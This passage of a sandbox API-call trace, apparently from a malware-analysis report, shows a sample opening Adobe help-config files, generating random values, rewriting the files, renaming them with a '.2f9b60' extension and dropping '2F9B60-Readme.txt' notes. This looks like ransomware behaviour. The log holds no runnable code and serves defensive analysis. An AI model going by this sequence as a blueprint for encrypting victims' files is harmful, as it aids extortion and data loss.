_Dest=0x1cd86292, _Format="%c%c" | out: _Dest="b2") returned 2 [0207.057] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="a0") returned 2 [0207.057] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="ff") returned 2 [0207.057] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.057] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="db") returned 2 [0207.057] RtlInitAnsiString (in: DestinationString=0x2fa1f888, SourceString="0c1b278de0cd231bc8d63ab3f56ad430a79289d67082abfe0a776fc68ac5fdcdbdb2a0ffbcdb" | out: DestinationString="0c1b278de0cd231bc8d63ab3f56ad430a79289d67082abfe0a776fc68ac5fdcdbdb2a0ffbcdb") [0207.057] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fa1f858, SourceString="0c1b278de0cd231bc8d63ab3f56ad430a79289d67082abfe0a776fc68ac5fdcdbdb2a0ffbcdb", AllocateDestinationString=1 | out: DestinationString="0c1b278de0cd231bc8d63ab3f56ad430a79289d67082abfe0a776fc68ac5fdcdbdb2a0ffbcdb") returned 0x0 [0207.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43150090 [0207.057] wcscat (in: _Dest=0x4314ffe0, _Source="0c1b278de0cd231bc8d" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\0c1b278de0cd231bc8d") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\0c1b278de0cd231bc8d" [0207.057] wcscat (in: _Dest=0x4314ffe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\0c1b278de0cd231bc8d.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\0c1b278de0cd231bc8d.2f9b60" [0207.057] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\0c1b278de0cd231bc8d.2f9b60", NtPathName=0x2fa1f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\0c1b278de0cd231bc8d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310c390 [0209.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c390) returned 1 [0209.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1d240) returned 1 [0209.153] NtQueryInformationFile (in: FileHandle=0xa9c, IoStatusBlock=0x2fa1f898, FileInformation=0x2fa1f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fa1f898, FileInformation=0x2fa1f8a8) returned 0x0 [0209.153] NtSetInformationFile (FileHandle=0xa9c, IoStatusBlock=0x2fa1f898, FileInformation=0x2fa1f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314ffe0) returned 1 [0209.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43150090) returned 1 [0209.657] FlushFileBuffers (hFile=0xa9c) returned 1 [0212.755] CloseHandle (hObject=0xa9c) returned 1 [0215.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4318a7c0 [0215.704] wcscpy (in: _Dest=0x4318a7c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\" [0215.704] wcscat (in: _Dest=0x4318a7c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\2F9B60-Readme.txt" [0215.704] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru\\2f9b60-readme.txt")) returned 0xffffffff [0215.705] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16a0 [0218.153] WriteFile (in: hFile=0x16a0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2fa1f750, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2fa1f750*=0xba9, lpOverlapped=0x0) returned 1 [0222.506] CloseHandle (hObject=0x16a0) returned 1 [0224.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318a7c0) returned 1 [0224.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505eb0) returned 1 Thread: id = 2529 os_tid = 0x1ff8 [0155.067] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk\\reader_10.0.helpcfg")) returned 0x20 [0155.067] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x78c [0155.069] GetFileSizeEx (in: hFile=0x78c, lpFileSize=0x2fabf720 | out: lpFileSize=0x2fabf720*=349) returned 1 [0155.069] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.069] ReadFile (in: hFile=0x78c, lpBuffer=0x2fabf6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fabf6e8, lpOverlapped=0x0 | out: lpBuffer=0x2fabf6a0*, lpNumberOfBytesRead=0x2fabf6e8*=0x4, lpOverlapped=0x0) returned 1 [0155.070] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda910 [0155.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda9a0 [0155.071] NtQuerySystemTime (in: CurrentTime=0x2fabf5e0 | out: CurrentTime=0x2fabf5e0*=132462177602038000) returned 0x0 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x74447764 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x6842a561 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x2fda1093 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x5642b274 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x63fe3a9 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x11a0e57d [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x6b8421a5 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x608e4611 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x483fc53a [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x1f308bfd [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x4181c930 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x34094d91 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x3a68b361 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x2c53ce2 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x5c6286de [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x7f6bf03d [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x56303bb0 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x709bcd57 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x14550a17 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x1ccf31c3 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x21907cae [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x5b5d81eb [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x363faf75 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x3e9af8d8 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x27251951 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x70b058e9 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x6c269ef [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x73239507 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x3ad6f3cc [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x72c907ed [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0x466e0d12 [0155.071] RtlRandomEx (in: Seed=0x2fabf5d0 | out: Seed=0x2fabf5d0) returned 0xffcfe81 [0155.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda9d0 [0155.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cfc0 [0155.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaa00 [0155.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cfc0) returned 1 [0155.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda9a0) returned 1 [0155.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced23d0 [0155.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cfc0 [0155.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428d2670 [0155.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428d6280 [0155.081] ReadFile (in: hFile=0x78c, lpBuffer=0x428d2670, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2fabf5d0, lpOverlapped=0x0 | out: lpBuffer=0x428d2670*, lpNumberOfBytesRead=0x2fabf5d0*=0x15d, lpOverlapped=0x0) returned 1 [0155.081] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.081] WriteFile (hFile=0x78c, lpBuffer=0x428d6280, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2fabf5d4, lpOverlapped=0x0) [0186.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec92c0 [0186.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec92f0 [0186.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec92f0) returned 1 [0186.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428d6280) returned 1 [0186.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428d2670) returned 1 [0186.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cfc0) returned 1 [0186.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced23d0) returned 1 [0186.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cd30 [0186.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced23d0 [0186.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cfc0 [0186.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec92f0 [0186.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec92f0) returned 1 [0186.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cd70 [0186.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec92f0 [0186.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9320 [0186.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9320) returned 1 [0186.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cfc0) returned 1 [0186.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced23d0) returned 1 [0186.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x167280 [0186.342] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.342] WriteFile (in: hFile=0x78c, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fabf6f0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x2fabf6f0*=0x118, lpOverlapped=0x0) returned 1 [0207.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddabb0 [0207.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddabb0) returned 1 [0207.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cddabb0 [0207.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddab80 [0207.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaac0 [0207.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaac0) returned 1 [0207.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0207.047] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="06") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="ec") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="ad") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="8e") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="dc") returned 2 [0207.047] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="51") returned 2 [0207.047] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="f8") returned 2 [0207.047] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="2d") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="13") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="a9") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="f2") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="0c") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="b1") returned 2 [0207.047] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.047] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="b0") returned 2 [0207.047] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="f8") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="ed") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="b1") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="df") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="92") returned 2 [0207.047] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="bd") returned 2 [0207.048] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="aa") returned 2 [0207.048] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="6b") returned 2 [0207.048] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="06") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="91") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="57") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="95") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="35") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="b8") returned 2 [0207.048] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="87") returned 2 [0207.048] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="df") returned 2 [0207.048] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="71") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="d0") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="a0") returned 2 [0207.048] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="1f") returned 2 [0207.048] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.048] RtlInitAnsiString (in: DestinationString=0x2fabf768, SourceString="06ecad8edc51f82d13a9f20cb1bcb0f8edb1df92bdaa6b0691579535b887df71cdd0d4a01ff5" | out: DestinationString="06ecad8edc51f82d13a9f20cb1bcb0f8edb1df92bdaa6b0691579535b887df71cdd0d4a01ff5") [0207.048] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fabf738, SourceString="06ecad8edc51f82d13a9f20cb1bcb0f8edb1df92bdaa6b0691579535b887df71cdd0d4a01ff5", AllocateDestinationString=1 | out: DestinationString="06ecad8edc51f82d13a9f20cb1bcb0f8edb1df92bdaa6b0691579535b887df71cdd0d4a01ff5") returned 0x0 [0207.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4314ff30 [0207.049] wcscat (in: _Dest=0x4314fe80, _Source="06ecad8edc51f82d13a" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\06ecad8edc51f82d13a") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\06ecad8edc51f82d13a" [0207.049] wcscat (in: _Dest=0x4314fe80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\06ecad8edc51f82d13a.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\06ecad8edc51f82d13a.2f9b60" [0207.049] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\06ecad8edc51f82d13a.2f9b60", NtPathName=0x2fabf710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\06ecad8edc51f82d13a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310c2c0 [0209.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c2c0) returned 1 [0209.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1c750) returned 1 [0209.152] NtQueryInformationFile (in: FileHandle=0x78c, IoStatusBlock=0x2fabf778, FileInformation=0x2fabf788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fabf778, FileInformation=0x2fabf788) returned 0x0 [0209.152] NtSetInformationFile (FileHandle=0x78c, IoStatusBlock=0x2fabf778, FileInformation=0x2fabf788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fe80) returned 1 [0209.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314ff30) returned 1 [0209.653] FlushFileBuffers (hFile=0x78c) returned 1 [0212.755] CloseHandle (hObject=0x78c) returned 1 [0215.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431885c0 [0215.702] wcscpy (in: _Dest=0x431885c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\" [0215.702] wcscat (in: _Dest=0x431885c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\2F9B60-Readme.txt" [0215.702] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk\\2f9b60-readme.txt")) returned 0xffffffff [0215.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0218.152] WriteFile (in: hFile=0x408, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2fabf630, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2fabf630*=0xba9, lpOverlapped=0x0) returned 1 [0222.504] CloseHandle (hObject=0x408) returned 1 [0224.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431885c0) returned 1 [0224.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505f50) returned 1 Thread: id = 2530 os_tid = 0x1ffc [0155.085] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si\\reader_10.0.helpcfg")) returned 0x20 [0155.086] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9bc [0155.088] GetFileSizeEx (in: hFile=0x9bc, lpFileSize=0x3015f8c0 | out: lpFileSize=0x3015f8c0*=349) returned 1 [0155.088] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.088] ReadFile (in: hFile=0x9bc, lpBuffer=0x3015f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3015f888, lpOverlapped=0x0 | out: lpBuffer=0x3015f840*, lpNumberOfBytesRead=0x3015f888*=0x4, lpOverlapped=0x0) returned 1 [0155.089] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda9a0 [0155.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaa30 [0155.090] NtQuerySystemTime (in: CurrentTime=0x3015f780 | out: CurrentTime=0x3015f780*=132462177602194000) returned 0x0 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x25f17ed0 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x36981b41 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x1196da68 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x64a362e9 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x5fc717 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0xf7e0e14 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x3c321f68 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x7edea4f7 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x6e7bb1c7 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x6f4a6204 [0155.090] 